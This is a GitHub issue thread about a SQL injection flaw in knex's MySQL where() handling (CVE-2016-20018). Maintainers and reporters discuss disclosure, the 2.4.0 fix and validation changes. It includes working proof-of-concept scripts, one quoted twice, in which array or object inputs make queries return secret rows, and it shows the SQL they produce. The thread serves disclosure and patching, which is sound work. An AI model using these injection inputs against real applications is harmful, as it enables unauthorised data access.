knex: knex where is not escaping field objects with mysql engine (potential SQL injection?)

Augh, why would you request a CVE like that? 😕 That was unnecessary.

hey I made a pr to mitigate the issue, could you pls check? https://github.com/knex/knex/pull/5417 @kibertoad

Since there hasn’t been any movement on this, I went ahead and requested CVE-2016-20018. Full credit to the people in this issue.

The article for reference: https://www.ghostccamm.com/blog/knex_sqli/

Fix was released in 2.4.0, please validate.

Here is a simple proof of concept. An attacker controlled variable ends up reading a database row.

// If you don't have a mysql server running, you can use:
// docker run --name poc-mariadb --env MARIADB_USER=poc --env MARIADB_PASSWORD=secret --env MARIADB_ROOT_PASSWORD=secret -v `pwd`/data/:/var/lib/mysql -p 3306:3306 mariadb:latest

const knexConfig = {
  "client": "mysql",
   "connection": {
     "host": "127.0.0.1",
     "port": "3306",
     "user": "root",
     "password": "secret",
     "charset": "utf8mb4"
   }
}
let knex = require('knex')(knexConfig);

const attackerControlled = [0];

async function go() {
  await knex.raw('DROP DATABASE IF EXISTS poc;');
  await knex.raw('CREATE DATABASE poc;');
  knexConfig.connection.database = "poc";
  knex = require('knex')(knexConfig);

  await knex.schema.createTable('poc', function(table) {
    table.increments('id').primary();
    table.string('x').notNullable();
  });

  // assume the database has a secret row
  await knex('poc').insert({
      x: "something secret",
  });

  // userControlled leaks the secret row
  const data = await knex('poc')
    .select()
    .where({ x: attackerControlled })
  console.log(data);
}
go().then(() => process.exit());

Hi! I’m a member of GitHub Security Lab and can confirm that @rgmz reached out to us a few weeks ago for advice. We also attempted to contact the maintainers without success, so we recommended that @rgmz should request a CVE for this issue.

This is coming up in Dependabot and has been blogged about.

To top it up, I now have a scenario I have no idea how to avoid passing an Array in the bindings

query.whereRaw(`??->"$.someId" IN (?)`, [column, listOfIds]);

I feel the check should at least allow Array of primitives and not block on any and all arrays

Friendly ping reminding that this issue isn’t fixed in the latest version (2.3.0) even though https://github.com/knex/knex/pull/1269 has been merged. Probably worth investigating what’s going on, happy to provide a different demonstration of why this results in a SQLi.

Having a CVE isn’t bad per se: many libraries build on top of knex. Being able to automatically update recursive dependencies once a fix is out will benefit everyone!

The important thing right now is to get a fix out.

@kibertoad: what do you think of the earlier suggestion:

It seems that the solution to this issue may be to have knex call .toString() on each value passed in as an object. When I change attackerControlled to attackerControlled.toString(), it properly does not return the secret row. This solution also works for columns where the type is bigint.

So still no fixed at all ? (I also see https://github.com/knex/knex/issues/5500) I have unfortunately been absent for months can I have a summary of the remaining concerns? I will see to close this topic quickly.

@SwamixD Because that assertion is a work around the problem and it is too aggressive causing legitimate use cases to error out

any news?

There’s more info in the PR above (5417), but as of now it looks like a release will go out tomorrow.

An alternative PoC is to use an object to query using a different column instead of the intended one.

const knex = require('knex')({
    client: 'mysql2',
    connection: {
        host: '127.0.0.1',
        user: 'root',
        password: 'supersecurepassword',
        database: 'poc',
        charset: 'utf8'
    }
})

knex.schema.hasTable('users').then((exists) => {
    if (!exists) {
        knex.schema.createTable('users', (table) => {
            table.increments('id').primary()
            table.string('name').notNullable()
            table.string('secret').notNullable()
        }).then()
        knex('users').insert({
            name: "admin",
            secret: "you should not be able to return this!"
        }).then()
        knex('users').insert({
            name: "guest",
            secret: "hello world"
        }).then()
    }
})

attackerControlled = {
    "name": "admin"
}

knex('users')
    .select()
    .where({secret: attackerControlled})
    .then((userSecret) => console.log(userSecret))

The built SQL query is as follows

select * from `users` where `secret` = `name` = 'admin'

MySQL will ignore the WHERE clause resulting in the following equivalent query

select * from `users`

A syntax error is returned if there weren’t quoted identifiers in the query. However, the quoted identifiers are needed so that wouldn’t be a solution.

I am just about to release an article about this issue since it impacts a lot of other packages. The issue isn’t just with knex, developers using knex also assumed that users cannot send JS objects. Yet NodeJS supports dynamic typing of input variables (example of changing input type using GET parameters).

A simple solution would be to reject all object and array type variables for column names and values for querying. Personally I don’t see a good reason for allowing column names and values to be allowed as an array or object.

From my perspective, the assertion added here is too aggressive https://github.com/knex/knex/blob/2ad77199233fd775e710055bd333b655ca1bc92c/lib/dialects/mysql/query/mysql-querycompiler.js#L166-L183

The goal was to block complex input like Array of objects or object with properties with object

So we should change the assertion to block these in particular, or at least allow valid slightly-less complicated input that match these types https://github.com/knex/knex/blob/0d27bcb60b9bfd57fabf896715350089e0b1050c/types/index.d.ts#L494-L506

In particular, the assertion should accept Array of primitives and Object with primitive properties I’d also recommend to change object in this list to Record<string, string | number | boolean | null | Date>

Could replace isPlainObjectOrArray by the following. I tried to be thorough, but I might have missed something

const isInvalidValue = (value) => {
  if (isPlainObject(value)) {
    // Make sure all the properties are primitives
    // object escaping uses JSON.stringify so we must list properties exactly the same way and make sure `toJSON` method is valid/expected
    // https://github.com/knex/knex/blob/2ad77199233fd775e710055bd333b655ca1bc92c/lib/util/string.js#L56-L62
    // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify
    // Object.values uses same algorithm to list properties in an object as JSON.stringify as explained in ^MDN article
    return !Object.values(value).every(
      (property) =>
        isString(property) ||
        isNumber(property) ||
        isBoolean(property) ||
        isNull(property) ||
        // What if Date.prototype.toJSON is overridden?
        // That could be a concern in a lot of other scenarios too, unclear if it's a risk
        (isDate(property) && property.toJSON === Date.prototype.toJSON)
    );
  }
  if (Array.isArray(value)) {
    // Make sure all the items are primitives
    return !value.every(
      (item) =>
        isString(item) ||
        isNumber(item) ||
        isBoolean(item) ||
        // What if Date.prototype.toJSON is overridden?
        // That could be a concern in a lot of other scenarios too, unclear if it's a risk
        (isDate(item) && item.toJSON === Date.prototype.toJSON)
    );
  }
  return false;
};

let knex = require('knex')({
        client: 'mysql',
        connection: {
                host: '127.0.0.1',
                user: 'root',
                password: 'none',
                database: 'none',
                stringifyObjects: true, // set to true can fix this issue
        }
});

The problem caused by sqlstring.escape, it is recommended to set stringifyObjects to true by default

https://github.com/mysqljs/sqlstring/blob/master/lib/SqlString.js#L34

I should clarify that this wasn’t a decision made lightly. I had a vendor’s private research team validate this. I then attempted to contact the maintainer myself, and even reached out to the GitHub security team who themselves attempted to contact them; neither of us have heard back after a few weeks.

@Ccamm released an excellent and in-depth article explaining this vulnerability. It’s a great read (and I look forward to their future articles), but unfortunately means that the cat is fully out of the bag at this point.

Here is a simple proof of concept. An attacker controlled variable ends up reading a database row.

Exploit

> ```js > // If you don't have a mysql server running, you can use: > // docker run --name poc-mariadb --env MARIADB_USER=poc --env MARIADB_PASSWORD=secret --env MARIADB_ROOT_PASSWORD=secret -v `pwd`/data/:/var/lib/mysql -p 3306:3306 mariadb:latest > > const knexConfig = { > "client": "mysql", > "connection": { > "host": "127.0.0.1", > "port": "3306", > "user": "root", > "password": "secret", > "charset": "utf8mb4" > } > } > let knex = require('knex')(knexConfig); > > const attackerControlled = [0]; > > async function go() { > await knex.raw('DROP DATABASE IF EXISTS poc;'); > await knex.raw('CREATE DATABASE poc;'); > knexConfig.connection.database = "poc"; > knex = require('knex')(knexConfig); > > await knex.schema.createTable('poc', function(table) { > table.increments('id').primary(); > table.string('x').notNullable(); > }); > > // assume the database has a secret row > await knex('poc').insert({ > x: "something secret", > }); > > // userControlled leaks the secret row > const data = await knex('poc') > .select() > .where({ x: attackerControlled }) > console.log(data); > } > go().then(() => process.exit()); > ```

I modified this to use an attackerControlled = 0 and I still retrieved the secret row. With both attackControlled = [0] and attackControlled = 0, the sql generated by knex is

select * from `poc` where `x` = 0

I ran that query in a mariadb shell and that query also returned the secret row. Interestingly, that same query does not return any row in sqlite3.

It seems that the solution to this issue may be to have knex call .toString() on each value passed in as an object. When I change attackerControlled to attackerControlled.toString(), it properly does not return the secret row. This solution also works for columns where the type is bigint.